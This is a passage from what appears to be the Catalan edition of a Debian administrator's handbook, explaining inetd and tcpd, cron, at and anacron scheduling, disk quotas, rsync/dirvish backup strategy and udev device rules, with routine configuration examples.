El tipus de sòcol («socket»): stream per a connexió TCP, dgram per a datagrames UDP.

El protocol: tcp, tcp6, udp, o udp6.

Les opcions: dos valors possibles: wait o nowait, per indicar a inetd si ha d'esperar que acabi o no el procés iniciat abans d'acceptar una altra connexió. Per a les connexions TCP, fàcilment multiplexable, normalment es pot utilitzar nowait. Per als programes que responen sobre UDP, hauríeu d'utilitzar nowait només si el servidor és capaç de gestionar diverses connexions en paral·lel. Podeu afixar aquest camp amb un punt, seguit pel nombre màxim de connexions autoritzades per minut (el límit per defecte és 256).

El nom d'usuari amb la identitat del qual s'executarà el servidor. Opcionalment es pot afegir també el grup usant la sintaxi user.group.

La ruta completa al programa del servidor per executar.

Els paràmetres: aquesta és una llista completa dels paràmetres del programa, incloent el seu propi nom (argv[0] en C).

El següent exemple il·lustra alguns casos d'ús després d'instal·lar talkd, nullidentd (ident-server), i fingerd:

Exemple 9.1. Extracte de /etc/inetd.conf

#:BSD: Shell, login, exec and talk are BSD protocols. talk dgram udp wait nobody.tty /usr/sbin/in.talkd in.talkd ntalk dgram udp wait nobody.tty /usr/sbin/in.ntalkd in.ntalkd #:INFO: Info services ident stream tcp nowait nobody /usr/sbin/nullidentd nullidentd finger stream tcp nowait nobody /usr/sbin/tcpd /usr/sbin/in.fingerd

El programa tcpd s'utilitza amb freqüència al fitxer /etc/inetd.conf. Permet limitar les connexions entrants aplicant les regles de control d'accés, documentades a la pàgina del manual hosts_access(5) i que estan configurades als fitxers /etc/hosts.allow i /etc/hosts.deny. Un cop s'ha determinat que la connexió està autoritzada, tcpd executa el servidor real (com ara in.fingerd en el nostre exemple). Cal assenyalar que tcpd es basa en el nom sota el qual s'ha invocat (és a dir, el primer paràmetre argv[0] per identificar el programa real a executar. Per tant no hauríeu d'iniciar la llista de paràmetres amb tcpd sinó amb el programa que s'ha de cridar.

COMUNITAT Wietse Venema

Wietse Venema, l'experiència del qual en seguretat l'ha convertit en un programador reconegut, és l'autor del programa tcpd. També és el principal creador de Postfix, el modular servidor de correu electrònic (SMTP, protocol simple de transferència de correu o «Simple Mail Transfer Protocol»), dissenyat per ser més segur i fiable que sendmail, que compta amb una llarga història de vulnerabilitats de seguretat. Veurem més de prop aquest servidor de correu a Secció 11.1, «Servidor de correu».

ALTERNATIVA Altres programes inetd

Tot i que Debian instal·la openbsd-inetd per defecte, no hi ha manca d'alternatives: podem esmentar inetutils-inetd, rlinetd, i xinetd, tots els quals proveeixen el paquet virtual inet-superserver.

La majoria d'aquestes alteratives comparteixen el mateix fitxer de configuració /etc/inetd.conf.

Aquesta última implementació de superservidor, tanmateix, ofereix una sintaxi diferent i possibilitats molt interessants. En particular, la seva configuració pot dividir-se en diversos fitxers (desats, per descomptat, al directori /etc/xinetd.d/), que pot facilitar la vida d'un administrador. Es considera que és més potent, però també més complexe.

Finalment, però no menys important, és possible emular el comportament d' inetd amb el mecanisme d'activació de sòcols de systemd (vegeu Secció 9.1.1, «El sistema d'inici de systemd»).

9.7. Planificació de tasques amb cron i atd

cron és el dimoni responsable d'executar ordres programades i recurrents (cada hora, cada dia, cada setmana, etc.). atd tracta les ordres a executar una sola vegada, però en un moment específic en el futur.

En un sistema Unix, moltes tasques estan previstes per a l'execució regular:

rotació dels registres;

actualització de la base de dades per al programa locate;

còpies de seguretat;

scripts de manteniment (com ara per eliminar fitxers temporals).

Per defecte, tots els usuaris poden programar l'execució de tasques. Cada usuari té així el seu propi crontab on pot registrar ordres programades. Es pot editar executant crontab -e (el seu contingut s'emmagatzema al fitxer /var/spool/cron/crontabs/usuari).

SEGURETAT Restringir cron o atd

Podeu restringir l'accés a crontab mitjançant la creació d'un fitxer d'autorització explícit (llista blanca) a /etc/cron.allow, en el qual s'indiquen els únics usuaris autoritzats per programar ordres. Tots els altres es veuran automàticament privats d'aquesta possibilitat. En canvi, per blocar només un o dos usuaris problemàtics, es podria escriure el seu nom d'usuari al fitxer de prohibició explícita (llista negra), /etc/cron.deny. Aquesta mateixa característica està disponible per a atd, amb els fitxers /etc/at.allow i /etc/at.deny (també descrits a les seves pàgines de manual).

L'usuari root té el seu propi crontab, però també pot utilitzar el fitxer /etc/crontab, o escriure fitxers crontab addicionals al directori /etc/cron.d. Aquestes dues últimes solucions tenen l'avantatge de què es pot especificar la identitat de l'usuari a utilitzar per executar l'ordre.

El paquet cron inclou per defecte algunes ordres programades que executen:

programes al directori /etc/cron.hourly/ un cop cada hora;

programes a /etc/cron.daily/ un cop al dia;

programes a /etc/cron.weekly/ un cop per setmana;

programes a /etc/cron.monthly/ un cop al mes.

Molts paquets de Debian depenen d'aquest servei: posant scripts de manteniment en aquests directoris garanteixen el funcionament òptim dels seus serveis.

9.7.1. Format d'un fitxer crontab

SUGGERIMENT Dreceres de text per a cron

cron reconeix algunes abreviatures que substitueixen els primers cinc camps en una entrada crontab. Es corresponen amb les opcions de planificació més habituals:

@yearly: un cop a l'any (u de gener, a les 00:00);

@monthly: un cop al mes (el primer del mes a les 00:00);

@weekly: un cop per setmana (diumenge a les 00:00);

@daily: un cop al dia (a les 00:00);

@hourly: un cop cada hora (a l'inici de cada hora).

Altres abreujatures estan reconegudes : @rebootor @midnight.

CAS ESPECIAL cron i els horaris d'estiu

A Debian, cron pren el canvi d'hora (per a l'horari d'estalvi de l'estiu, o de fet per qualsevol canvi significatiu en l'hora local) en compte tan bé com sigui possible. Així, les ordres que haurien d'haver estat executades durant una hora que no ha existit (per exemple, les tasques programades a les 2:30 del matí durant el canvi d'hora de primavera a França, ja que a les 2:00 del matí el rellotge salta directament a les 3:00 del matí) s'executen poc després del canvi de temps (al voltant de les 3:00 del matí). D'altra banda, a la tardor, quan les ordres serien executades diverses vegades (2:30 am DST, una hora més tard a les 2:30 am hora estàndard, ja que a les 3:00 am DST el rellotge torna a les 2:00 am) només s'executen una vegada.

Aneu amb compte, no obstant això, si l'ordre en què les diferents tasques programades i el retard entre les seves respectives execucions importen, heu de comprovar la compatibilitat d'aquestes restriccions amb el comportament de cron; si cal, podeu preparar un programa especial per a les dues nits problemàtiques de l'any.

Cada línia significativa d'una entrada al crontab descriu una ordre programada amb els sis (o set) següents camps:

el valor del minut (de 0 a 59);

el valor de l'hora (de 0 a 23);

el valor del dia del mes (d'1 a 31);

el valor del mes (d'1 a 12);

el valor del dia de la setmana (de 0 a 7, on 1 correspon al dilluns, i el diumenge representat per 0 i 7; també és possible utilitzar les tres primeres lletres del nom del dia de la setmana en anglès, com ara Sun, Mon, etc.);

el nom d'usuari sota la identitat del qual s'ha d'executar l'ordre (al fitxer /etc/crontab i en els fragments localitzats a /etc/cron.d/, però no en els fitxers crontab dels usuaris);

l'ordre a executar (quan es compleixen les condicions definides per les cinc primeres columnes).

Tots aquests detalls es troben documentats a la plana del manual crontab(5).

Cada valor també es pot expressar en forma d'una llista de possibles valors (separats per comes). La sintaxi a-b descriu l'interval de tots els valors entre a i b. La sintaxi a-b/c descriu l'interval amb un increment de c (exemple: 0-10/2 significa 0,2,4,6,8,10). Un asterisc * és un comodí, que representa tots els valors possibles.

Exemple 9.2. Exemple de fitxer crontab d'usuari

#Format #min hour day mon dow command # Download data every night at 7:25 pm 25 19 * * * $HOME/bin/get.pl # 8:00 am, on weekdays (Monday through Friday) 00 08 * * 1-5 $HOME/bin/dosomething # every two hours * */2 * * * $HOME/bin/dosomethingelse # Restart the IRC proxy after each reboot @reboot /usr/bin/dircproxy

SUGGERIMENT Execució d'un programa a l'engegada

Per executar una ordre una sola vegada, just després d'arrencar l'ordinador, es pot utilitzar la macro )@reboot (un simple reinici de cron no activa una ordre programada amb )@reboot). Aquesta macro substitueix els primers cinc camps d'una entrada al crontab .

ALTERNATIVA Emulació de cron usant systemd

És possible emular part del comportament de cron amb els mecanisme de temporitzador de systemd (vegeu Secció 9.1.1, «El sistema d'inici de systemd»).

9.7.2. Ús del programa at

at executa una ordre en un moment determinat del futur. Pren l'hora i la data desitjades com a paràmetres de línia d'ordres, i l'ordre a executar de l'entrada estàndard. L'ordre s'executarà com si s'hagués introduït a l'intèrpret d'ordres actual. at fins i tot s'ocupa de conservar l'entorn actual per tal de reproduir les mateixes condicions quan executa l'ordre. El temps s'indica seguint les convencions habituals: 16:12 o 4:12pm representa les 4:12 pm. La data es pot especificar en diversos formats europeus i occidentals, incloent DD.MM.YY (així, 27.07.22 representa el 27 de juliol del 2022), AAAA-MM-DD (aquesta mateixa data s'expressa com a 2022-07-27), MM/DD/[CC]AA (és a dir, 12/25/22 o 12/25/2022 serà el 25 de desembre del 2022), o simplement MMDD[CC]AA (de manera que 122522 o 12252022, de la mateixa manera, representaran el 25 de desembre de 2022). Sense data, l'ordre s'executarà tan aviat com el rellotge arribi al temps indicat (el mateix dia, o l'endemà si aquest temps ja ha passat el mateix dia). També es pot simplement escriure «today» o «tomorrow» representant, respectivament, avui o demà.

$ at 09:00 27.07.22 <<END > echo "Don't forget to wish a Happy Birthday to Raphaël!" \ > | mail lolando@debian.org > END warning: commands will be executed using /bin/sh job 1 at Wed Jul 27 09:00:00 2022

Una sintaxi alternativa ajorna l'execució durant un temps determinat: at now + número període. El període pot ser minutes (minuts), hours (hores), days (dies), o weeks (setmanes). El número simplement indica el nombre d'unitats que han de passar abans de l'execució de la comanda.

Per cancel·lar una tasca programada amb cron, simplement executeu crontab -e i suprimiu la línia corresponent al fitxer crontab. Amb tasques at, és gairebé igual de fàcil: executeu atrm número-de-tasca. El número de la tasca ve indicat per l'ordre at quan la programeu, però podeu tornar a trobar-la amb l'ordre atq, que dona la llista de tasques vigents programades.

9.8. Programació de tasques asíncrones: anacron

anacron és el dimoni que complementa cron en ordinadors que no estan engegats a tota hora. Atès que les tasques regulars estan normalment programades a la meitat de la nit, mai s'executaran si l'ordinador està apagat en aquell moment. El propòsit d'anacron és executar-los tenint en compte els períodes en què l'ordinador ha estat funcionant.

Tingueu en compte que anacron executarà sovint aquestes activitats uns minuts després d'arrencar la màquina, la qual cosa pot fer que l'ordinador s'alenteixi. Per això les tasques en el fitxer /etc/anacrontab s'inicien amb l'ordre nice, que redueix la seva prioritat d'execució i, per tant, en limita l'impacte en la resta del sistema. Compte, el format d'aquest fitxer no és el mateix que el de /etc/crontab; si teniu necessitats particulars per anacron, vegeu la plana del manual anacrontab(5).

TORNAR A LES BASES Prioritats i nice

Els sistemes Unix (i per tant Linux) són sistemes multitasca i multiusuari. De fet, diversos processos poden funcionar en paral·lel i ser propietat de diferents usuaris: el nucli reparteix l'accés als recursos entre els diferents processos. Com a part d'aquesta tasca, té el concepte de prioritat, que li permet afavorir determinats processos sobre altres segons sigui necessari. Quan sabeu que un procés pot funcionar amb baixa prioritat, podeu indicar-ho executant-lo amb nice programa. El programa tindrà una part més petita de la CPU, i tindrà un impacte més petit en altres processos en execució. Per descomptat, si no cal executar cap altre procés, el programa no serà retardat artificialment.

nice funciona amb nivells de “bondat” («nice» vol dir bo, amable, bonic en anglès): els nivells positius (d'1 a 19) redueixen progressivament la prioritat, mentre que els nivells negatius (de -1 a -20) l'incrementaran, però només el superusuari pot utilitzar aquests nivells negatius. A menys que s'indiqui el contrari (vegeu la plana del manual nice(1)), nice incrementa el nivell actual en 10.

Si descobriu que una tasca ja en execució que s'hauria d'haver iniciat amb nice no és massa tard per arreglar-ho; l'ordre renice canvia la prioritat d'un procés ja en execució, en qualsevol de les direccions (però reduir la “bondat” d'un procés està reservat a l'usuari arrel).

La instal·lació del paquet anacron desactiva l'execució per part de cron dels scripts als directoris /etc/cron.hourly/ , /etc/cron.daily/, /etc/cron.weekly/ i /etc/cron.monthly/. Això evita la doble execució per anacron i cron. L'ordre cron roman activa i continuarà gestionant les altres tasques programades (especialment les programades pels usuaris).

9.9. Quotes

El sistema de quotes permet limitar l'espai de disc assignat a un usuari o grup d'usuaris. Per configurar-lo, cal tenir un nucli que el suporti (compilat amb l'opció CONFIG_QUOTA) — com és el cas dels nuclis de Debian. El programari de gestió de quotes es troba al paquet Debian quota.

Per activar les quotes en un sistema de fitxers heu d'indicar les opcions usrquota i grpquota a /etc/fstab per a, respectivament, les quotes d'usuari i grup. En reiniciar l'ordinador s'actualitzaran les quotes en absència d'activitat de disc (una condició necessària per a una comptabilitat adequada de l'espai de disc ja utilitzat).

L'ordre edquota usuari (o edquota -g grup) permet canviar els límits mentre s'examina l'ús de l'espai del disc actual.

ANANT MÉS ENLLÀ Definició de quotes amb un script

El programa setquota es pot utilitzar en un script per canviar automàticament moltes quotes. La pàgina del manual setquota(8) en detalla la sintaxi a utilitzar.

El sistema de quotes permet establir quatre límits:

dos límits (anomenats “suau” i “dur”) es refereixen al nombre de blocs usats. Si el sistema de fitxers es va crear amb una mida de bloc d'1 kibibyte, els 1024 bytes disponibles de cada bloc només es poden assignar a un fitxer. Els blocs no saturats indueixen així pèrdues d'espai de disc. Una quota de 100 blocs, que teòricament permet l'emmagatzematge de 102.400 bytes esdevindrà, però, saturat amb només 100 fitxers de 500 bytes cadascun, representant només 50.000 bytes en total.

dos límits (“suau” i “estricte”, o «soft» i «hard» respectivament en anglès) es refereixen al nombre d'inodes utilitzats. Cada fitxer ocupa almenys un inode per emmagatzemar informació sobre ell (permisos, propietari, marca de temps de l'últim accés, etc.). Per tant, és un límit per al nombre de fitxers d'usuari.

Un límit “suau” es pot excedir temporalment; l'usuari simplement serà advertit que estan excedint la quota per l'ordre warnquota, que normalment s'invoca amb cron. Mai es pot superar un límit “dur”: el sistema rebutjarà qualsevol operació que faci que se superi una quota dura.

VOCABULARI Blocs i inodes

El sistema de fitxers divideix el disc dur en blocs — petites àrees contigües. La mida d'aquests blocs es defineix durant la creació del sistema de fitxers, i generalment varia entre 1 i 8 kibibytes.

Un bloc es pot utilitzar per emmagatzemar les dades reals d'un fitxer, o per les metadades utilitzades pel sistema de fitxers. Entre aquestes metadades, trobareu especialment els «inodes». Un inode utilitza un bloc en el disc dur (però aquest bloc no es té en compte en la quota de bloc, només en la quota d'inodes), i conté tant la informació sobre el fitxer al qual correspon (nom, propietari, permisos, etc.) com els punters dels blocs de dades que s'utilitzen realment. Per a fitxers molt grans que ocupen més blocs dels que és possible fer referència en un sol inode hi ha un sistema de blocs indirectes; l'inode fa referència a una llista de blocs que no contenen dades directament, sinó una altra llista de blocs.

Amb l'ordre edquota -t, es pot definir un “període de gràcia” màxim autoritzat dins del qual es pot superar un límit suau. Després d'aquest període, el límit suau es tractarà com un límit dur, i l'usuari haurà de reduir l'ús de l'espai de disc a dins d'aquest límit per tal de poder escriure qualsevol cosa al disc dur.

ANANT MÉS ENLLÀ Configuració d'una quota per defecte per als nous usuaris

Per configurar automàticament una quota per a nous usuaris, heu de configurar un usuari plantilla (amb edquota o setquota) i indicar el seu nom d'usuari a la variable QUOTAUSER a /etc/adduser.conf file. Aquesta configuració de la quota s'aplicarà automàticament a cada usuari nou creat amb l'ordre adduser.

9.10. Còpia de seguretat

Fer còpies de seguretat és una de les principals responsabilitats de qualsevol administrador, però és un tema complex que implica eines poderoses que sovint són difícils de dominar.

Hi ha molts programes, com ara amanda, bacula o BackupPC. Aquests són sistemes client/servidor amb moltes opcions, la configuració de les quals és bastant difícil. Alguns d'ells proporcionen interfícies web fàcils d'utilitzar per mitigar això. Per a sistemes que no són d'empreses, els administradors podrien voler considerar rsnapshot o rdiff-backup. Els usuaris poden crear fàcilment còpies de seguretat dels seus sistemes de fitxers amb timeshift, fsarchiver, duplicity, o fins i tot dd.

Debian conté dotzenes d'altres programaris de còpia de seguretat que cobreixen tots els casos d'ús possibles, com podeu confirmar fàcilment amb apt-cache search copy.

En lloc de detallar-ne uns quants, aquesta secció presentarà els pensaments dels administradors de Falcot Corp quan van definir la seva estratègia de còpies de seguretat.

En el Falcot Corp, les còpies de seguretat tenen dos objectius: recuperar els arxius eliminats erròniament, i restaurar ràpidament qualsevol ordinador (servidor o escriptori) el disc dur del qual ha fallat.

9.10.1. Còpies de seguretat amb rsync

Havent-se descartat les còpies de seguretat en cinta per massa lentes i costoses, les dades es desaran en discos durs en un servidor dedicat, on l'ús de programari RAID (vegeu Secció 12.1.1, «RAID per software») protegirà les dades de fallades del disc dur. Els ordinadors d'escriptori no estan suportats individualment, però s'indica als usuaris que el seu compte personal al servidor d'arxius del seu departament sí que ho està. L'ordre rsync (del paquet del mateix nom) s'utilitza diàriament per fer una còpia de seguretat d'aquests diferents servidors.

TORNAR A LES BASES L'enllaç dur, un segon nom per a un fitxer

Un enllaç dur, en contraposició a un enllaç simbòlic, no es pot diferenciar del fitxer enllaçat. Crear un enllaç dur és essencialment el mateix que donar un segon nom a un fitxer existent. Per això l'eliminació d'un enllaç dur només elimina un dels noms associats amb el fitxer. Mentre un altre nom encara estigui assignat a l'arxiu, les dades que hi ha queden presents al sistema de fitxers. És interessant observar que, a diferència d'una còpia, l'enllaç dur no ocupa un espai addicional en el disc dur.

Es crea un enllaç dur amb l'ordre ln objectiu enllaç. L'enllaç és llavors un nom nou per al fitxer objectiu. Els enllaços durs només es poden crear en el mateix sistema de fitxers, mentre que els enllaços simbòlics no estan subjectes a aquesta limitació.

L'espai de disc dur disponible fa prohibitiva la implementació d'una còpia de seguretat diària completa. Per tant, l'ordre rsync va precedida per una duplicació del contingut de la còpia de seguretat anterior amb enllaços durs, que evita l'ús de massa espai de disc dur. El procés rsync només substitueix els fitxers que s'han modificat des de l'última còpia de seguretat. Amb aquest mecanisme es pot mantenir un gran nombre de còpies de seguretat en una petita quantitat d'espai. Com que totes les còpies de seguretat estan immediatament disponibles i accessibles (per exemple, en diferents directoris d'un espai compartit en xarxa), es poden fer comparacions entre dues dates donades.

Aquest mecanisme de còpia de seguretat s'aplica fàcilment amb el programa dirvish. Utilitza un espai d'emmagatzematge de còpia de seguretat («bank» en el seu vocabulari) on col·loca còpies amb marques temporals de conjunts de fitxers (aquests conjunts s'anomenen «vaults» en la documentació de dirvish).

La configuració principal és al fitxer /etc/dirvish/master.conf. Defineix la ubicació de l'espai d'emmagatzematge de la còpia de seguretat, la llista de voltes (o «vaults») per gestionar, i els valors per defecte per a la caducitat de les còpies de seguretat. La resta de la configuració es troba als fitxers banc/volta/dirvish/default.conf i conté la configuració específica per al corresponent conjunt de fitxers.

Exemple 9.3. El fitxer /etc/dirvish/master.conf

bank: /backup exclude: lost+found/ core *~ Runall: root 22:00 expire-default: +15 days expire-rule: # MIN HR DOM MON DOW STRFTIME_FMT * * * * 1 +3 months * * 1-7 * 1 +1 year * * 1-7 1,4,7,10 1

El paràmetre bank indica el directori en el qual s'emmagatzemen les còpies de seguretat. El paràmetre exclude permet indicar els fitxers (o tipus de fitxers) que s'exclouran de la còpia de seguretat. Runall és una llista de conjunts d'arxius a fer una còpia de seguretat amb una marca de temps per a cada conjunt, que permet assignar la data correcta a la còpia de seguretat, en cas que la còpia de seguretat no s'activi precisament en el moment assignat. Heu d'indicar un temps just abans del temps real d'execució (segons /etc/cron.d/dirvish). Finalment, els paràmetres expire-default i expire-rule defineixen la política de caducitat de les còpies de seguretat. L'exemple anterior manté per sempre còpies de seguretat que es generen el primer diumenge de cada trimestre, elimina després d'un any les del primer diumenge de cada mes, i després de 3 mesos les d'altres diumenges. Altres còpies de seguretat diàries es mantenen durant 15 dies. L'ordre de les regles és important, ja que dirvish utilitza l'última regla aplicable, o la regla expire-default si no hi ha cap altra regla expire-rule que coincideixi.

A LA PRÀCTICA Expiració programada

Les regles de caducitat no són usades per dirvish-expire per fer la seva tasca. En realitat, les regles de caducitat s'apliquen quan es crea una còpia de seguretat nova per definir la data de caducitat associada a aquesta còpia. dirvish-expire simplement examina les còpies emmagatzemades i elimina les que han passat la data d'expiració.

Exemple 9.4. El fitxer /backup/root/dirvish/default.conf

client: rivendell.falcot.com tree: / xdev: 1 index: gzip image-default: %Y%m%d exclude: /var/cache/apt/archives/*.deb /var/cache/man/** /tmp/** /var/tmp/** *.bak

L'exemple anterior especifica el conjunt de fitxers per fer-ne una còpia de seguretat: aquests són fitxers a la màquina rivendell.falcot.com (per a la còpia de seguretat de dades locals, simplement cal especificar el nom de la màquina local com indica hostname), especialment els de l'arbre arrel (tree: /), excepte els llistats a exclude. La còpia de seguretat es limitarà al contingut d'un sistema de fitxers (xdev: 1). No inclourà arxius d'altres punts de muntatge. Es generarà un índex de fitxers desats (index: gzip), i la imatge s'anomenarà d'acord amb la data actual (image-default: %Y%m%d).

Hi ha moltes opcions disponibles, totes documentades a la plana del manual dirvish.conf(5). Un cop aquests fitxers de configuració estan a punt, s'ha d'inicialitzar cada conjunt de fitxers amb l'ordre dirvish --vault vault --init. A partir d'aquí la invocació diària de dirvish-runall crearà automàticament una nova còpia de seguretat just després d'haver eliminat les que hagin caducat.

A LA PRÀCTICA Còpia de seguretat remota amb SSH

Quan dirvish ha de desar dades a una màquina remota, utilitzarà ssh per connectar-s'hi, i iniciarà rsync com a servidor. Això requereix que l'usuari root pugui connectar-s'hi automàticament. L'ús de claus d'autenticació SSH permet precisament això (vegeu Secció 9.2.1.1, «Autenticació basada en claus»).

9.10.2. Restauració de màquines sense còpies de seguretat

Els ordinadors d'escriptori, que no estan ssuportats, seran fàcils de reinstal·lar a partir dels DVD-ROM o llapis USB personalitzats preparats amb simple-cdd (vegeu Secció 12.3.3, «Simple-CDD: la solució tot-en-un»). Atès que així es fa una instal·lació des de zero, es perdrà qualsevol personalització que es pugui haver fet després de la instal·lació inicial. Això ja està bé perquè tots els sistemes estan connectats a un directori central LDAP per a comptes d'usuari i la majoria de les aplicacions d'escriptori estan preconfigurades gràcies a dconf (vegeu Secció 13.3.1, «GNOME» per a més informació sobre això).

Els administradors de Falcot Corp són conscients de les limitacions de la seva política de còpies de seguretat. Com que no poden protegir el servidor de còpies de seguretat com una cinta en una caixa forta a prova de foc, l'han instal·lat en una sala separada perquè un desastre com ara un incendi a la sala del servidor no destrueixi còpies de seguretat juntament amb tota la resta. A més, fan una còpia de seguretat incremental en DVD-ROM una vegada a la setmana — només s'hi inclouen els fitxers que s'han modificat des de l'última còpia de seguretat.

ANANT MÉS ENLLÀ Còpies de seguretat dels serveis LDAP i SQL

Molts serveis (com les bases de dades SQL o LDAP) no poden ser recolzats simplement copiant els seus fitxers (tret que estiguin adequadament interromputs durant la creació de les còpies de seguretat, fet que sovint és problemàtic, ja que estan destinats a estar disponibles en tot moment). Com a tal, és necessari utilitzar un mecanisme d'exportació per crear un “bolcat de dades” del que se'n pot fer una còpia de seguretat. Sovint són força grans, però es comprimeixen bé. Per reduir l'espai d'emmagatzematge necessari, només es pot emmagatzemar un fitxer de text complet per setmana, i un diff cada dia, que es crea amb una ordre del tipus diff fitxer_d_ahir fitxer_d_avui. El programa xdelta produeix diferències incrementals dels bolcats binaris.

CULTURA TAR, l'estàndard de les còpies en cinta

Històricament, el mitjà més simple de fer una còpia de seguretat en Unix era emmagatzemar un arxiu TAR en una cinta. El tar fins i tot va rebre el seu nom de l'anglès «Tape ARchive» o “arxiu en cinta”.

9.11. Connectar en calent: hotplug

9.11.1. Introducció

El subsistema del nucli hotplug gestiona dinàmicament l'addició i eliminació de dispositius carregant els controladors apropiats i creant els fitxers corresponents de dispositiu (amb l'ajuda d'udevd). Amb el maquinari modern i la virtualització, gairebé tot es pot “connectar en calent”: des dels perifèrics USB/PCMCIA/IEEE 1394 a discs durs SATA, però també la CPU i la memòria.

El nucli té una base de dades que associa cada ID de dispositiu amb el controlador necessari. Aquesta base de dades s'utilitza durant l'arrencada per carregar tots els controladors dels dispositius perifèrics detectats en els diferents busos, però també quan es connecta un dispositiu addicional en calent. Un cop el dispositiu està preparat per al seu ús, s'envia un missatge a udevd de manera que podrà crear l'entrada corresponent a /dev/.

9.11.2. El problema dels noms

Abans de l'aparició de les connexions en calent era fàcil assignar un nom fix a un dispositiu. Es basava simplement en la posició dels dispositius en el seu bus respectiu. Però això no és possible quan aquests dispositius poden aparèixer i desaparèixer del bus. El cas típic és l'ús d'una càmera digital i un llapis USB, ja que ambdós apareixen a l'ordinador com a unitats de disc. El primer connectat pot ser /dev/sdb i el segon /dev/sdc (amb /dev/sda representant el propi disc dur de l'ordinador). El nom del dispositiu no és fix: depèn de l'ordre en què els dispositius es connectin.

Addicionalment, cada vegada més controladors utilitzen valors dinàmics per als números major/menor dels dispositius, la qual cosa fa impossible tenir entrades estàtiques per als dispositius donats, ja que aquestes característiques essencials poden variar després d'un reinici.

udev fou creat precisament per solucionar aquest problema.

9.11.3. Com funciona udev

Quan udev és notificat pel nucli de l'aparició d'un nou dispositiu, recopila informació sobre el dispositiu donat consultant les entrades corresponents a /sys/, especialment les que l'identifiquen de manera única (adreça MAC per a una targeta de xarxa, número de sèrie per a alguns dispositius USB, etc.).

Amb tota aquesta informació, udev consulta totes les regles contingudes a /etc/udev/rules.d/ i a /lib/udev/rules.d/. En aquest procés decideix com anomenar el dispositiu, quins enllaços simbòlics crear (per donar-li noms alternatius), i quines ordres executar. Tots aquests arxius són consultats, i les regles s'avaluen seqüencialment (excepte quan un arxiu utilitza directives «GOTO»). Per tant, pot haver-hi diverses regles que corresponen a un esdeveniment determinat.

La sintaxi dels fitxers de regles és força simple: cada línia conté criteris de selecció i assignacions variables. Els primers s'utilitzen per seleccionar esdeveniments per als quals hi ha necessitat de reaccionar, i els segons defineixen l'acció a dur a terme. Tots estan simplement separats amb comes, i un operador diferencia implícitament entre un criteri de selecció (amb operadors de comparació, com ara == o !=) o una directiva d'assignació (amb operadors com ara =, += o :=).

Els operadors de comparació s'utilitzen amb les següents variables:

KERNEL: el nom que el nucli assigna al dispositiu;

ACTION: l'acció corresponent a l'esdeveniment («add» quan s'ha afegit un dispositiu, «remove» quan s'ha eliminat);

DEVPATH: el camí a l'entrada /sys/ del dispositiu;

SUBSYSTEM: el subsistema del nucli que ha generat la sol·licitud (n'hi ha molts, però alguns exemples són «usb», «ide», «net», «firmware», etc.);

ATTR{atribut}: contingut del fitxeratribut al directori del dispositiu /sys/$camí_al_dispositiu/. Aquí és on trobareu l'adreça MAC i altres identificadors específics del bus;

KERNELS, SUBSYSTEMS i ATTRS{atributs}són variacions que intentaran fer coincidir les diferents opcions en un dels dispositius pare del dispositiu actual;

PROGRAM: delega la prova al programa indicat (cert si retorna 0, fals altrament). El contingut de la sortida estàndard del programa s'emmagatzema de manera que pugui ser reutilitzat pel test RESULT;

RESULT: executa proves en la sortida estàndard emmagatzemada durant l'última crida a PROGRAM.

Els operands a la dreta poden utilitzar expressions de patró per coincidir amb diversos valors al mateix temps. Per exemple, * coincideix amb qualsevol cadena (fins i tot buida); ? coincideix amb qualsevol caràcter, i [] coincideix amb el conjunt de caràcters enumerats entre els claudàtors (o el contrari si el primer caràcter és un signe d'exclamació; i rangs contigus de caràcters s'indiquen com a a-z).

Quant als operadors d'assignació, = assigna un valor (i substitueix el valor actual); en el cas d'una llista, serà buidada i només contindrà el valor assignat. := fa el mateix, però evita canvis posteriors a la mateixa variable. Pel que fa a +=, afegeix un element a una llista. Les següents variables es poden canviar:

NAME: el nom del fitxer del dispositiu que es crearà a /dev/. Només es tindrà en compte la primera assignació; la resta s'ignoren;

SYMLINK: la llista d'enllaços simbòlics que apuntaran al mateix dispositiu;

OWNER, GROUP i MODE defineixen l'usuari i el grup propietaris del dispositiu, així com el permís associat;

RUN: la llista de programes a executar en resposta a aquest esdeveniment.

Els valors assignats a aquestes variables poden utilitzar una sèrie de substitucions:

$kernel o %k: equivalent a KERNEL;

$number o %n: el número d'ordre del dispositiu, per exemple, per sda3 seria “3”;

$devpath o %p: equivalent a DEVPATH;

$attr{atribut} o %s{atribut}: equivalent a ATTRS{atribut};

$major o %M: el número major del nucli pel dispositiu;

$minor o %m: el número menor del nucli pel dispositiu;

$result o %c: la cadena de sortida de l'últim programa invocat per PROGRAM;

i, finalment, %% i $$ pels signes de percentatge i de dòlar, respectivament.

Les llistes anteriors no són completes (inclouen només els paràmetres més importants), però la pàgina del manual udev(7) hauria de ser exhaustiva.

9.11.4. Un exemple concret

Considerem el cas d'una simple clau USB i intentem assignar-li un nom fix. En primer lloc, cal trobar els elements que l'identifiquin de manera única. Per a això, connecteu-lo i executeu udevadm info -a -n /dev/sdc (reemplaçant /dev/sdc amb el nom real assignat a la clau).

# udevadm info -a -n /dev/sdc [...] looking at device '/devices/pci0000:00/0000:00:10.0/usb2/2-1/2-1:1.0/host4/target4:0:0/4:0:0:0/block/sdc': KERNEL=="sdc" SUBSYSTEM=="block" DRIVER=="" ATTR{hidden}=="0" ATTR{events}=="media_change" ATTR{ro}=="0" ATTR{discard_alignment}=="0" ATTR{removable}=="1" ATTR{events_async}=="" ATTR{alignment_offset}=="0" ATTR{capability}=="51" ATTR{events_poll_msecs}=="-1" ATTR{stat}=="130 0 6328 435 0 0 0 0 0 252 252 0 0 0 0" ATTR{size}=="15100224" ATTR{range}=="16" ATTR{ext_range}=="256" ATTR{inflight}=="0 0" [...] looking at parent device '/devices/pci0000:00/0000:00:10.0/usb2/2-1/2-1:1.0/host4/target4:0:0/4:0:0:0': [...] ATTRS{max_sectors}=="240" [...] looking at parent device '/devices/pci0000:00/0000:00:10.0/usb2/2-1': KERNELS=="2-1" SUBSYSTEMS=="usb" DRIVERS=="usb" ATTRS{bDeviceProtocol}=="00" ATTRS{bNumInterfaces}==" 1" ATTRS{busnum}=="2" ATTRS{quirks}=="0x0" ATTRS{authorized}=="1" ATTRS{ltm_capable}=="no" ATTRS{speed}=="480" ATTRS{product}=="TF10" ATTRS{manufacturer}=="TDK LoR" [...] ATTRS{serial}=="07032998B60AB777" [...]

Per crear una nova regla, es poden utilitzar proves en les variables del dispositiu, així com en les d'un dels dispositius pare. El cas anterior ens permet crear dues normes com aquestes:

